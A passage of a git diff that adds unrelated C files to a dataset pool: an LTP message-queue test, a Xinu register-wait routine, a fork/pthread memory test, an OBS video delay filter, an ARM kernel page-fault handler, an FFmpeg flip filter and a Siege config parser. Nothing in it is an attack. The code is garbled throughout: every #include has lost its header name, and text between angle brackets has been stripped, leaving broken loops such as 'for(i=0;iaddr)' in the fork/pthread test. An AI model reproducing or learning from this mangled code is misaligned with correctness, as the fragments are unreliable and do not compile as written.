PASS message + * otherwise + * issue a FAIL message + * call cleanup + * + * USAGE: + * msgsnd01 [-c n] [-f] [-i n] [-I x] [-P x] [-t] + * where, -c n : Run n copies concurrently. + * -f : Turn off functionality Testing. + * -i n : Execute test n times. + * -I x : Execute test for x seconds. + * -P x : Pause for x seconds between iterations. + * -t : Turn on syscall timing. + * + * HISTORY + * 03/2001 - Written by Wayne Boyer + * + * RESTRICTIONS + * None + */ + +#include "test.h" +#include "usctest.h" + +#include "ipcmsg.h" + +void cleanup(void); +void setup(void); + +char *TCID = "msgsnd01"; +int TST_TOTAL = 1; + +int msg_q_1; +MSGBUF msg_buf, rd_buf; + +struct msqid_ds qs_buf; + +int main(int ac, char **av) +{ + int lc; + char *msg; + + if ((msg = parse_opts(ac, av, NULL, NULL)) != NULL) { + tst_brkm(TBROK, NULL, "OPTION PARSING ERROR - %s", msg); + } + + setup(); /* global setup */ + + /* The following loop checks looping state if -i option given */ + + for (lc = 0; TEST_LOOPING(lc); lc++) { + /* reset tst_count in case we are looping */ + tst_count = 0; + + /* + * Use TEST macro to make the call + */ + + TEST(msgsnd(msg_q_1, &msg_buf, MSGSIZE, 0)); + + if (TEST_RETURN == -1) { + tst_resm(TFAIL, "%s call failed - errno = %d : %s", + TCID, TEST_ERRNO, strerror(TEST_ERRNO)); + continue; + } + + if (STD_FUNCTIONAL_TEST) { + + /* get the queue status */ + if (msgctl(msg_q_1, IPC_STAT, &qs_buf) == -1) { + tst_brkm(TBROK, cleanup, "Could not " + "get queue status"); + } + + if (qs_buf.msg_cbytes != MSGSIZE) { + tst_resm(TFAIL, "queue bytes != MSGSIZE"); + } + + if (qs_buf.msg_qnum != 1) { + tst_resm(TFAIL, "queue message != 1"); + } + + tst_resm(TPASS, "queue bytes = MSGSIZE and " + "queue messages = 1"); + } else { + tst_resm(TPASS, "call succeeded"); + } + + /* + * remove the message by reading from the queue + */ + if (msgrcv(msg_q_1, &rd_buf, MSGSIZE, 1, 0) == -1) { + tst_brkm(TBROK, cleanup, "Could not read from queue"); + } + } + + cleanup(); + + tst_exit(); +} + +/* + * setup() - performs all the ONE TIME setup for this test. + */ +void setup(void) +{ + + tst_sig(NOFORK, DEF_HANDLER, cleanup); + + TEST_PAUSE; + + /* + * Create a temporary directory and cd into it. + * This helps to ensure that a unique msgkey is created. + * See ../lib/libipc.c for more information. + */ + tst_tmpdir(); + + msgkey = getipckey(); + + /* create a message queue with read/write permissions */ + if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW)) == -1) { + tst_brkm(TBROK, cleanup, "Can't create message queue"); + } + + /* initialize the message buffer */ + init_buf(&msg_buf, MSGTYPE, MSGSIZE); +} + +/* + * cleanup() - performs all the ONE TIME cleanup for this test at completion + * or premature exit. + */ +void cleanup(void) +{ + /* if it exists, remove the message queue if it exists */ + rm_queue(msg_q_1); + + tst_rmdir(); + + /* + * print timing stats if that option was specified. + * print errno log if that option was specified. + */ + TEST_CLEANUP; + +} diff --git a/pool/shard011/C/0141931_waitOnBit.c b/pool/shard011/C/0141931_waitOnBit.c new file mode 100644 index 0000000000000000000000000000000000000000..acb662b8732783dec943e0adb99eb67c4fff569d --- /dev/null +++ b/pool/shard011/C/0141931_waitOnBit.c @@ -0,0 +1,55 @@ +/** + * @file waitOnBit.c + * + */ +/* Embedded Xinu, Copyright (C) 2009. All rights reserved. */ + +#include +#include + +/** + * @ingroup etherspecific + * + * Wait on a bit in a device's control and status register. + * @param reg pointer to device status register + * @param mask bit to wait on + * @param value bit value desired + * @param tries number of retries before giving up + * @return OK or SYSERR + */ +int waitOnBit(volatile uint *reg, uint mask, const int value, int tries) +{ + int i = 0; + volatile int j = 0; + + for (i = 0; i < tries; i++) + { + /* break on the following conditions: + * - if expected value is non-zero, check if the register & mask has + * a non-zero value + * - if expected value is zero, check if the register & mask has + * a zero value + */ + if (((0 != value) && (*reg & mask)) + || ((0 == value) && !(*reg & mask))) + { + break; + } + + for (j = 100; j; j--) + { /* spin wait */ + } + } + + if (tries == i) + { +#ifdef DETAIL + kprintf("etherInit() TIMEOUT waiting for register "); + kprintf("0x%08X bit 0x%08X to %s\r\n", reg, + mask, (value ? "set" : "clear")); +#endif /* DETAIL */ + return SYSERR; + } + + return OK; +} diff --git a/pool/shard011/C/0141932_test_fork_pthread.c b/pool/shard011/C/0141932_test_fork_pthread.c new file mode 100644 index 0000000000000000000000000000000000000000..68c5f54ed265c8a2756dd7c44166504eda5fff9e --- /dev/null +++ b/pool/shard011/C/0141932_test_fork_pthread.c @@ -0,0 +1,208 @@ +#include +#include +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + + +int malloc_cnt; +int *child_done; + + + + +#define USE_MMAP 1 +#define PAGE_SZ 4096 +struct alloc_info { + void *addr; + int size; +} *ptrs; + +static void* +xalloc(int size) +{ + void *ptr; +#if USE_MMAP + ptr = mmap(NULL, PAGE_SZ, PROT_READ|PROT_WRITE, + MAP_ANON|MAP_PRIVATE, -1, 0); + if (ptr == MAP_FAILED) + return NULL; +#else + ptr = malloc(size); +#endif + return ptr; +} +static void +xfree(void *ptr, int size) { +#if USE_MMAP + munmap(ptr, size); +#else + free(ptr); +#endif +} + + +static void +do_mallocs() { + int i, size; + struct alloc_info *ptr; + srandom(time(NULL)); + for(i=0;iaddr) + xfree(ptr->addr, ptr->size); + size = random()%(PAGE_SZ+1); + ptr->addr = xalloc(size); + if (!ptr->addr) { + perror("malloc failed"); + return; + } + ptr->size = size; + //printf("mmap[%d] = %p\n", i, ptr->addr); + memset(ptr->addr, 'z', ptr->size); + } + for(i=0;iaddr, ptr->size); + ptr->addr = NULL; + ptr->size = 0; + } + } +} + +int nr_exited; +void +sigchld_handler(int signum) { + int child_pid; + while((child_pid = waitpid(-1, NULL, WNOHANG)) > 0){ + printf("pid %d child pid %d exited\n", + getpid(), child_pid); + nr_exited++; + } +} +#define MAX_MAP_DELTA 9000 +void* +clone_fn(void *data) { + struct timespec *ts1, *ts2, tt; + unsigned long int t1, t2, t_delta, sleep_time; + int i, nr_frees = 0; + struct alloc_info *ptr; + + ts2 = &tt; + ts1 = data; + clock_gettime(CLOCK_MONOTONIC, ts2); + t2 = ts2->tv_sec*1000000 + ts2->tv_nsec/1000; + t1 = ts1->tv_sec*1000000 + ts1->tv_nsec/1000; + t_delta = t2-t1; + for (i=0; iaddr) { + memset(ptr->addr, 'x', ptr->size); + } + else { + nr_frees++; + } + } + printf("pid %d t_delta = %ld usec nr_frees %d\n", + getpid(), t_delta, nr_frees); + sleep_time = ts2->tv_nsec; + sleep_time >>=2; + sleep_time &= 0xf; + printf("pid %d sleep time %ld\n", getpid(), sleep_time); + sleep(sleep_time); + *child_done = 1; + //pause(); + pthread_exit(NULL); + return NULL; +} + + +#define NARGS 2 +int +main(int argc, char *argv[]) { + + struct timespec *t1; + int iters; + int child_pid; + int i; + int arg_count = 0; + + pthread_t *th; + pthread_attr_t attr; + + + if (argc < (NARGS+1)) + { + printf("test_clone \n"); + return -2; + } + + srandom(time(NULL)); + + arg_count = 1; + sscanf(argv[arg_count++], "%d", &malloc_cnt); + ptrs = (struct alloc_info *)malloc( + sizeof(struct alloc_info)*malloc_cnt); + sscanf(argv[arg_count++], "%d", &iters); + + child_done = (int *)mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, + MAP_ANONYMOUS|MAP_SHARED, -1, 0); + if (child_done == MAP_FAILED) { + perror("map failed"); + return -2; + } + + t1 = mmap(NULL, sizeof(struct timespec), PROT_READ|PROT_WRITE, + MAP_ANONYMOUS|MAP_SHARED, -1, 0); + if (t1 == MAP_FAILED) { + perror("mmap failed"); + return -2; + } + //dummy mallocs + malloc(PAGE_SZ); + malloc(PAGE_SZ); + + signal(SIGCHLD, sigchld_handler); + fork(); + + th = (pthread_t *) malloc(sizeof(*th)*iters); + if (!th) { + perror("malloc failure"); + return -1; + } + + + printf("pid %d going to create children\n", getpid()); + + while (1) { + printf("pid %d going to create pthreads\n", getpid()); + pthread_attr_init(&attr); + pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED); + for (i = 0; i +#include + +#ifndef SEC_TO_NSEC +#define SEC_TO_NSEC 1000000000ULL +#endif + +#ifndef MSEC_TO_NSEC +#define MSEC_TO_NSEC 1000000ULL +#endif + +#define SETTING_DELAY_MS "delay_ms" + +#define TEXT_DELAY_MS obs_module_text("DelayMs") + +struct async_delay_data { + obs_source_t *context; + + /* contains struct obs_source_frame* */ + struct circlebuf video_frames; + + /* stores the audio data */ + struct circlebuf audio_frames; + struct obs_audio_data audio_output; + + uint64_t last_video_ts; + uint64_t last_audio_ts; + uint64_t interval; + uint64_t samplerate; + bool video_delay_reached; + bool audio_delay_reached; + bool reset_video; + bool reset_audio; +}; + +static const char *async_delay_filter_name(void *unused) +{ + UNUSED_PARAMETER(unused); + return obs_module_text("AsyncDelayFilter"); +} + +static void free_video_data(struct async_delay_data *filter, + obs_source_t *parent) +{ + while (filter->video_frames.size) { + struct obs_source_frame *frame; + + circlebuf_pop_front(&filter->video_frames, &frame, + sizeof(struct obs_source_frame*)); + obs_source_release_frame(parent, frame); + } +} + +static inline void free_audio_packet(struct obs_audio_data *audio) +{ + for (size_t i = 0; i < MAX_AV_PLANES; i++) + bfree(audio->data[i]); + memset(audio, 0, sizeof(*audio)); +} + +static void free_audio_data(struct async_delay_data *filter) +{ + while (filter->audio_frames.size) { + struct obs_audio_data audio; + + circlebuf_pop_front(&filter->audio_frames, &audio, + sizeof(struct obs_audio_data)); + free_audio_packet(&audio); + } +} + +static void async_delay_filter_update(void *data, obs_data_t *settings) +{ + struct async_delay_data *filter = data; + uint64_t new_interval = (uint64_t)obs_data_get_int(settings, + SETTING_DELAY_MS) * MSEC_TO_NSEC; + + if (new_interval < filter->interval) + free_video_data(filter, obs_filter_get_parent(filter->context)); + + filter->reset_audio = true; + filter->reset_video = true; + filter->interval = new_interval; + filter->video_delay_reached = false; + filter->audio_delay_reached = false; +} + +static void *async_delay_filter_create(obs_data_t *settings, + obs_source_t *context) +{ + struct async_delay_data *filter = bzalloc(sizeof(*filter)); + struct obs_audio_info oai; + + filter->context = context; + async_delay_filter_update(filter, settings); + + obs_get_audio_info(&oai); + filter->samplerate = oai.samples_per_sec; + + return filter; +} + +static void async_delay_filter_destroy(void *data) +{ + struct async_delay_data *filter = data; + + free_audio_packet(&filter->audio_output); + circlebuf_free(&filter->video_frames); + circlebuf_free(&filter->audio_frames); + bfree(data); +} + +static obs_properties_t *async_delay_filter_properties(void *data) +{ + obs_properties_t *props = obs_properties_create(); + + obs_properties_add_int(props, SETTING_DELAY_MS, TEXT_DELAY_MS, + 0, 20000, 1); + + UNUSED_PARAMETER(data); + return props; +} + +static void async_delay_filter_remove(void *data, obs_source_t *parent) +{ + struct async_delay_data *filter = data; + + free_video_data(filter, parent); + free_audio_data(filter); +} + +/* due to the fact that we need timing information to be consistent in order to + * measure the current interval of data, if there is an unexpected hiccup or + * jump with the timestamps, reset the cached delay data and start again to + * ensure that the timing is consistent */ +static inline bool is_timestamp_jump(uint64_t ts, uint64_t prev_ts) +{ + return ts < prev_ts || (ts - prev_ts) > SEC_TO_NSEC; +} + +static struct obs_source_frame *async_delay_filter_video(void *data, + struct obs_source_frame *frame) +{ + struct async_delay_data *filter = data; + obs_source_t *parent = obs_filter_get_parent(filter->context); + struct obs_source_frame *output; + uint64_t cur_interval; + + if (filter->reset_video || + is_timestamp_jump(frame->timestamp, filter->last_video_ts)) { + free_video_data(filter, parent); + filter->video_delay_reached = false; + filter->reset_video = false; + } + + filter->last_video_ts = frame->timestamp; + + circlebuf_push_back(&filter->video_frames, &frame, + sizeof(struct obs_source_frame*)); + circlebuf_peek_front(&filter->video_frames, &output, + sizeof(struct obs_source_frame*)); + + cur_interval = frame->timestamp - output->timestamp; + if (!filter->video_delay_reached && cur_interval < filter->interval) + return NULL; + + circlebuf_pop_front(&filter->video_frames, NULL, + sizeof(struct obs_source_frame*)); + + if (!filter->video_delay_reached) + filter->video_delay_reached = true; + + return output; +} + +/* NOTE: Delaying audio shouldn't be necessary because the audio subsystem will + * automatically sync audio to video frames */ + +/* #define DELAY_AUDIO */ + +#ifdef DELAY_AUDIO +static struct obs_audio_data *async_delay_filter_audio(void *data, + struct obs_audio_data *audio) +{ + struct async_delay_data *filter = data; + struct obs_audio_data cached = *audio; + uint64_t cur_interval; + uint64_t duration; + uint64_t end_ts; + + if (filter->reset_audio || + is_timestamp_jump(audio->timestamp, filter->last_audio_ts)) { + free_audio_data(filter); + filter->audio_delay_reached = false; + filter->reset_audio = false; + } + + filter->last_audio_ts = audio->timestamp; + + duration = (uint64_t)audio->frames * SEC_TO_NSEC / filter->samplerate; + end_ts = audio->timestamp + duration; + + for (size_t i = 0; i < MAX_AV_PLANES; i++) { + if (!audio->data[i]) + break; + + cached.data[i] = bmemdup(audio->data[i], + audio->frames * sizeof(float)); + } + + free_audio_packet(&filter->audio_output); + + circlebuf_push_back(&filter->audio_frames, &cached, sizeof(cached)); + circlebuf_peek_front(&filter->audio_frames, &cached, sizeof(cached)); + + cur_interval = end_ts - cached.timestamp; + if (!filter->audio_delay_reached && cur_interval < filter->interval) + return NULL; + + circlebuf_pop_front(&filter->audio_frames, NULL, sizeof(cached)); + memcpy(&filter->audio_output, &cached, sizeof(cached)); + + if (!filter->audio_delay_reached) + filter->audio_delay_reached = true; + + return &filter->audio_output; +} +#endif + +struct obs_source_info async_delay_filter = { + .id = "async_delay_filter", + .type = OBS_SOURCE_TYPE_FILTER, + .output_flags = OBS_SOURCE_VIDEO | OBS_SOURCE_ASYNC, + .get_name = async_delay_filter_name, + .create = async_delay_filter_create, + .destroy = async_delay_filter_destroy, + .update = async_delay_filter_update, + .get_properties = async_delay_filter_properties, + .filter_video = async_delay_filter_video, +#ifdef DELAY_AUDIO + .filter_audio = async_delay_filter_audio, +#endif + .filter_remove = async_delay_filter_remove +}; diff --git a/pool/shard011/C/0141934_fault.c b/pool/shard011/C/0141934_fault.c new file mode 100644 index 0000000000000000000000000000000000000000..beef99b48b86466718856be0d89884639bf9b137 --- /dev/null +++ b/pool/shard011/C/0141934_fault.c @@ -0,0 +1,319 @@ +/* + * linux/arch/arm/mm/fault-common.c + * + * Copyright (C) 1995 Linus Torvalds + * Modifications for ARM processor (c) 1995-2001 Russell King + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include //FIXME this header may be bogusly included + +#include "fault.h" + +#define FAULT_CODE_LDRSTRPOST 0x80 +#define FAULT_CODE_LDRSTRPRE 0x40 +#define FAULT_CODE_LDRSTRREG 0x20 +#define FAULT_CODE_LDMSTM 0x10 +#define FAULT_CODE_LDCSTC 0x08 +#define FAULT_CODE_PREFETCH 0x04 +#define FAULT_CODE_WRITE 0x02 +#define FAULT_CODE_FORCECOW 0x01 + +#define DO_COW(m) ((m) & (FAULT_CODE_WRITE|FAULT_CODE_FORCECOW)) +#define READ_FAULT(m) (!((m) & FAULT_CODE_WRITE)) +#define DEBUG +/* + * This is useful to dump out the page tables associated with + * 'addr' in mm 'mm'. + */ +void show_pte(struct mm_struct *mm, unsigned long addr) +{ + pgd_t *pgd; + + if (!mm) + mm = &init_mm; + + printk(KERN_ALERT "pgd = %p\n", mm->pgd); + pgd = pgd_offset(mm, addr); + printk(KERN_ALERT "[%08lx] *pgd=%08lx", addr, pgd_val(*pgd)); + + do { + pmd_t *pmd; + pte_t *pte; + + pmd = pmd_offset(pgd, addr); + + if (pmd_none(*pmd)) + break; + + if (pmd_bad(*pmd)) { + printk("(bad)"); + break; + } + + /* We must not map this if we have highmem enabled */ + /* FIXME */ + pte = pte_offset_map(pmd, addr); + printk(", *pte=%08lx", pte_val(*pte)); + pte_unmap(pte); + } while(0); + + printk("\n"); +} + +/* + * Oops. The kernel tried to access some page that wasn't present. + */ +static void +__do_kernel_fault(struct mm_struct *mm, unsigned long addr, unsigned int fsr, + struct pt_regs *regs) +{ + /* + * Are we prepared to handle this kernel fault? + */ + if (fixup_exception(regs)) + return; + + /* + * No handler, we'll have to terminate things with extreme prejudice. + */ + bust_spinlocks(1); + printk(KERN_ALERT + "Unable to handle kernel %s at virtual address %08lx\n", + (addr < PAGE_SIZE) ? "NULL pointer dereference" : + "paging request", addr); + + show_pte(mm, addr); + die("Oops", regs, fsr); + bust_spinlocks(0); + do_exit(SIGKILL); +} + +/* + * Something tried to access memory that isn't in our memory map.. + * User mode accesses just cause a SIGSEGV + */ +static void +__do_user_fault(struct task_struct *tsk, unsigned long addr, + unsigned int fsr, int code, struct pt_regs *regs) +{ + struct siginfo si; + +#ifdef CONFIG_DEBUG_USER + printk("%s: unhandled page fault at 0x%08lx, code 0x%03x\n", + tsk->comm, addr, fsr); + show_pte(tsk->mm, addr); + show_regs(regs); + //dump_backtrace(regs, tsk); // FIXME ARM32 dropped this - why? + while(1); //FIXME - hack to stop debug going nutso +#endif + + tsk->thread.address = addr; + tsk->thread.error_code = fsr; + tsk->thread.trap_no = 14; + si.si_signo = SIGSEGV; + si.si_errno = 0; + si.si_code = code; + si.si_addr = (void *)addr; + force_sig_info(SIGSEGV, &si, tsk); +} + +static int +__do_page_fault(struct mm_struct *mm, unsigned long addr, unsigned int fsr, + struct task_struct *tsk) +{ + struct vm_area_struct *vma; + int fault, mask; + + vma = find_vma(mm, addr); + fault = -2; /* bad map area */ + if (!vma) + goto out; + if (vma->vm_start > addr) + goto check_stack; + + /* + * Ok, we have a good vm_area for this + * memory access, so we can handle it. + */ +good_area: + if (READ_FAULT(fsr)) /* read? */ + mask = VM_READ|VM_EXEC; + else + mask = VM_WRITE; + + fault = -1; /* bad access type */ + if (!(vma->vm_flags & mask)) + goto out; + + /* + * If for any reason at all we couldn't handle + * the fault, make sure we exit gracefully rather + * than endlessly redo the fault. + */ +survive: + fault = handle_mm_fault(mm, vma, addr & PAGE_MASK, DO_COW(fsr)); + + /* + * Handle the "normal" cases first - successful and sigbus + */ + switch (fault) { + case 2: + tsk->maj_flt++; + return fault; + case 1: + tsk->min_flt++; + case 0: + return fault; + } + + fault = -3; /* out of memory */ + if (tsk->pid != 1) + goto out; + + /* + * If we are out of memory for pid1, + * sleep for a while and retry + */ + yield(); + goto survive; + +check_stack: + if (vma->vm_flags & VM_GROWSDOWN && !expand_stack(vma, addr)) + goto good_area; +out: + return fault; +} + +int do_page_fault(unsigned long addr, unsigned int fsr, struct pt_regs *regs) +{ + struct task_struct *tsk; + struct mm_struct *mm; + int fault; + + tsk = current; + mm = tsk->mm; + + printk("do_page_fault: pid: %d %08x\n", tsk->pid, addr); + /* + * If we're in an interrupt or have no user + * context, we must not take the fault.. + */ + if (in_interrupt() || !mm) + goto no_context; + + down_read(&mm->mmap_sem); + fault = __do_page_fault(mm, addr, fsr, tsk); + up_read(&mm->mmap_sem); + + /* + * Handle the "normal" case first + */ + if (fault > 0) + return 0; + + /* + * We had some memory, but were unable to + * successfully fix up this page fault. + */ + if (fault == 0){ + goto do_sigbus; + } + + /* + * If we are in kernel mode at this point, we + * have no context to handle this fault with. + * FIXME - is this test right? + */ + if (!user_mode(regs)){ + goto no_context; + } + + if (fault == -3) { + /* + * We ran out of memory, or some other thing happened to + * us that made us unable to handle the page fault gracefully. + */ + printk("VM: killing process %s\n", tsk->comm); + do_exit(SIGKILL); + } + else{ + __do_user_fault(tsk, addr, fsr, fault == -1 ? SEGV_ACCERR : SEGV_MAPERR, regs); + } + + return 0; + + +/* + * We ran out of memory, or some other thing happened to us that made + * us unable to handle the page fault gracefully. + */ +do_sigbus: + /* + * Send a sigbus, regardless of whether we were in kernel + * or user mode. + */ + tsk->thread.address = addr; //FIXME - need other bits setting? + tsk->thread.error_code = fsr; + tsk->thread.trap_no = 14; + force_sig(SIGBUS, tsk); +#ifdef CONFIG_DEBUG_USER + printk(KERN_DEBUG "%s: sigbus at 0x%08lx, pc=0x%08lx\n", + current->comm, addr, instruction_pointer(regs)); +#endif + + /* Kernel mode? Handle exceptions or die */ + if (user_mode(regs)) + return 0; + +no_context: + __do_kernel_fault(mm, addr, fsr, regs); + return 0; +} + +/* + * Handle a data abort. Note that we have to handle a range of addresses + * on ARM2/3 for ldm. If both pages are zero-mapped, then we have to force + * a copy-on-write. However, on the second page, we always force COW. + */ +asmlinkage void +do_DataAbort(unsigned long min_addr, unsigned long max_addr, int mode, struct pt_regs *regs) +{ + do_page_fault(min_addr, mode, regs); + + if ((min_addr ^ max_addr) >> PAGE_SHIFT){ + do_page_fault(max_addr, mode | FAULT_CODE_FORCECOW, regs); + } +} + +asmlinkage int +do_PrefetchAbort(unsigned long addr, struct pt_regs *regs) +{ +#if 0 + if (the memc mapping for this page exists) { + printk ("Page in, but got abort (undefined instruction?)\n"); + return 0; + } +#endif + do_page_fault(addr, FAULT_CODE_PREFETCH, regs); + return 1; +} + diff --git a/pool/shard011/C/0141935_vf_hflip.c b/pool/shard011/C/0141935_vf_hflip.c new file mode 100644 index 0000000000000000000000000000000000000000..c3b92c25df0499d33ea7d53e1a889afcb9e29607 --- /dev/null +++ b/pool/shard011/C/0141935_vf_hflip.c @@ -0,0 +1,177 @@ +/* + * Copyright (c) 2007 Benoit Fouet + * Copyright (c) 2010 Stefano Sabatini + * + * This file is part of FFmpeg. + * + * FFmpeg is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * FFmpeg is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with FFmpeg; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/** + * @file + * horizontal flip filter + */ + +#include + +#include "avfilter.h" +#include "formats.h" +#include "internal.h" +#include "video.h" +#include "libavutil/pixdesc.h" +#include "libavutil/internal.h" +#include "libavutil/intreadwrite.h" +#include "libavutil/imgutils.h" + +typedef struct { + int max_step[4]; ///< max pixel step for each plane, expressed as a number of bytes + int hsub, vsub; ///< chroma subsampling +} FlipContext; + +static int query_formats(AVFilterContext *ctx) +{ + AVFilterFormats *pix_fmts = NULL; + int fmt; + + for (fmt = 0; fmt < AV_PIX_FMT_NB; fmt++) { + const AVPixFmtDescriptor *desc = av_pix_fmt_desc_get(fmt); + if (!(desc->flags & PIX_FMT_HWACCEL || + desc->flags & PIX_FMT_BITSTREAM || + (desc->log2_chroma_w != desc->log2_chroma_h && + desc->comp[0].plane == desc->comp[1].plane))) + ff_add_format(&pix_fmts, fmt); + } + + ff_set_common_formats(ctx, pix_fmts); + return 0; +} + +static int config_props(AVFilterLink *inlink) +{ + FlipContext *flip = inlink->dst->priv; + const AVPixFmtDescriptor *pix_desc = av_pix_fmt_desc_get(inlink->format); + + av_image_fill_max_pixsteps(flip->max_step, NULL, pix_desc); + flip->hsub = pix_desc->log2_chroma_w; + flip->vsub = pix_desc->log2_chroma_h; + + return 0; +} + +static int filter_frame(AVFilterLink *inlink, AVFilterBufferRef *in) +{ + AVFilterContext *ctx = inlink->dst; + FlipContext *flip = ctx->priv; + AVFilterLink *outlink = ctx->outputs[0]; + AVFilterBufferRef *out; + uint8_t *inrow, *outrow; + int i, j, plane, step, hsub, vsub; + + out = ff_get_video_buffer(outlink, AV_PERM_WRITE, outlink->w, outlink->h); + if (!out) { + avfilter_unref_bufferp(&in); + return AVERROR(ENOMEM); + } + avfilter_copy_buffer_ref_props(out, in); + + /* copy palette if required */ + if (av_pix_fmt_desc_get(inlink->format)->flags & PIX_FMT_PAL) + memcpy(out->data[1], in->data[1], AVPALETTE_SIZE); + + for (plane = 0; plane < 4 && in->data[plane]; plane++) { + step = flip->max_step[plane]; + hsub = (plane == 1 || plane == 2) ? flip->hsub : 0; + vsub = (plane == 1 || plane == 2) ? flip->vsub : 0; + + outrow = out->data[plane]; + inrow = in ->data[plane] + ((inlink->w >> hsub) - 1) * step; + for (i = 0; i < in->video->h >> vsub; i++) { + switch (step) { + case 1: + for (j = 0; j < (inlink->w >> hsub); j++) + outrow[j] = inrow[-j]; + break; + + case 2: + { + uint16_t *outrow16 = (uint16_t *)outrow; + uint16_t * inrow16 = (uint16_t *) inrow; + for (j = 0; j < (inlink->w >> hsub); j++) + outrow16[j] = inrow16[-j]; + } + break; + + case 3: + { + uint8_t *in = inrow; + uint8_t *out = outrow; + for (j = 0; j < (inlink->w >> hsub); j++, out += 3, in -= 3) { + int32_t v = AV_RB24(in); + AV_WB24(out, v); + } + } + break; + + case 4: + { + uint32_t *outrow32 = (uint32_t *)outrow; + uint32_t * inrow32 = (uint32_t *) inrow; + for (j = 0; j < (inlink->w >> hsub); j++) + outrow32[j] = inrow32[-j]; + } + break; + + default: + for (j = 0; j < (inlink->w >> hsub); j++) + memcpy(outrow + j*step, inrow - j*step, step); + } + + inrow += in ->linesize[plane]; + outrow += out->linesize[plane]; + } + } + + avfilter_unref_bufferp(&in); + return ff_filter_frame(outlink, out); +} + +static const AVFilterPad avfilter_vf_hflip_inputs[] = { + { + .name = "default", + .type = AVMEDIA_TYPE_VIDEO, + .filter_frame = filter_frame, + .config_props = config_props, + .min_perms = AV_PERM_READ, + }, + { NULL } +}; + +static const AVFilterPad avfilter_vf_hflip_outputs[] = { + { + .name = "default", + .type = AVMEDIA_TYPE_VIDEO, + }, + { NULL } +}; + +AVFilter avfilter_vf_hflip = { + .name = "hflip", + .description = NULL_IF_CONFIG_SMALL("Horizontally flip the input video."), + .priv_size = sizeof(FlipContext), + .query_formats = query_formats, + + .inputs = avfilter_vf_hflip_inputs, + .outputs = avfilter_vf_hflip_outputs, +}; diff --git a/pool/shard011/C/0141936_cfg.c b/pool/shard011/C/0141936_cfg.c new file mode 100644 index 0000000000000000000000000000000000000000..178368fdf177a41d0fe4369b0f82f8f7f4bf455b --- /dev/null +++ b/pool/shard011/C/0141936_cfg.c @@ -0,0 +1,198 @@ +/** + * Configuration file support + * + * Copyright (C) 2000-2013 by + * Jeffrey Fulmer - , et al. + * This file is distributed as part of Siege + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc. + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * -- + * + */ +#include +#include +#include +#include +#include + +BOOLEAN is_variable_line(char *line); + +/** + * Ignores comment lines beginning with + * '#' empty lines beginning with \n + * Takes a char* as an argument + */ +void +parse(char *str) +{ + char *ch; + ch = (char *)strstr(str, "#"); + if ( ch ){ *ch = 0; } + ch = (char *)strstr(str, "\n"); + if ( ch ){ *ch = 0; } +} + +/** + * Reads filename into memory and populates + * the config_t struct with the result. Uses + * parse to ignore comments and empty lines. + */ +int +read_cfg_file(LINES *l, char *filename) +{ + /* file pointer */ + FILE *file; + HASH H; + char *line; + char *option; + char *value; + + /* char array to hold contents */ + + /* make sure LINES has been initialized. */ + if(!l){ + printf("Structure not initialized!\n"); + return -1; + } + + if((file = fopen(filename, "r")) == NULL) { + /* this is a fatal problem, but we want + to enlighten the user before dying */ + NOTIFY(WARNING, "unable to open file: %s", filename); + display_help(); + exit(EXIT_FAILURE); + } + + line = xmalloc(BUFSIZE); + H = new_hash(); + + l->index = 0; + memset(line, 0, sizeof(line)); + while(fgets(line, BUFSIZE, file) != NULL){ + int num; char *p = strchr(line, '\n'); + /** + * if the line is longer than our buffer, we're + * just going to chuck it rather then fsck with it. + */ + if(p) { + *p = '\0'; + } else { + /** + * Small fix by Gargoyle - 19/07/2006 + * Check to see if we are at the end of the file. If so + * keep the line, otherwise throw it away! + */ + if((num = fgetc(file)) != EOF) { + while((num = fgetc(file)) != EOF && num != '\n'); + line[0]='\0'; + } + } + parse(line); + chomp(line); + if(strlen(line) == 0); + else if(is_variable_line(line)){ + char *tmp = line; + option = tmp; + while(*tmp && !ISSPACE((int)*tmp) && !ISSEPARATOR(*tmp)) + tmp++; + *tmp++=0; + while(ISSPACE((int)*tmp) || ISSEPARATOR(*tmp)) + tmp++; + value = tmp; + while(*tmp) + tmp++; + *tmp++=0; + hash_add(H, option, value); + } + else{ + char *tmp = xstrdup(line); + while(strstr(tmp, "$")){ + tmp = evaluate(H, tmp); + } + l->line = (char**)realloc(l->line, sizeof(char *) * (l->index + 1)); + l->line[l->index] = (char *)strdup(tmp); + l->index++; + + free(tmp); + } + memset(line, 0, sizeof(line)); + } + + fclose(file); + xfree(line); + hash_destroy(H); + return l->index; +} + +int +read_cmd_line(LINES *l, char *url) +{ + int x = 0; + /* char array to hold contents */ + char head[BUFSIZE]; + + /* make sure config_t has been initialized. */ + if(!l){ + printf("Structure not initialized!\n"); + return -1; + } + + l->index = 0; + while(x < 4){ + snprintf(head, sizeof(head), "%s", url); + parse(head); + chomp(head); + if(strlen(head) == 0); + else{ + l->line = (char**)realloc(l->line, sizeof(char *) * (l->index + 1)); + l->line[l->index] = (char *)strdup(head); + l->index++; + } + x++; + } + return l->index; +} + +BOOLEAN +is_variable_line(char *line) +{ + char *pos, *x; + char c; + + /** + * check for variable assignment; make sure that on the left side + * of the = is nothing but letters, numbers, and/or underscores. + */ + pos = strstr(line, "="); + if (pos != 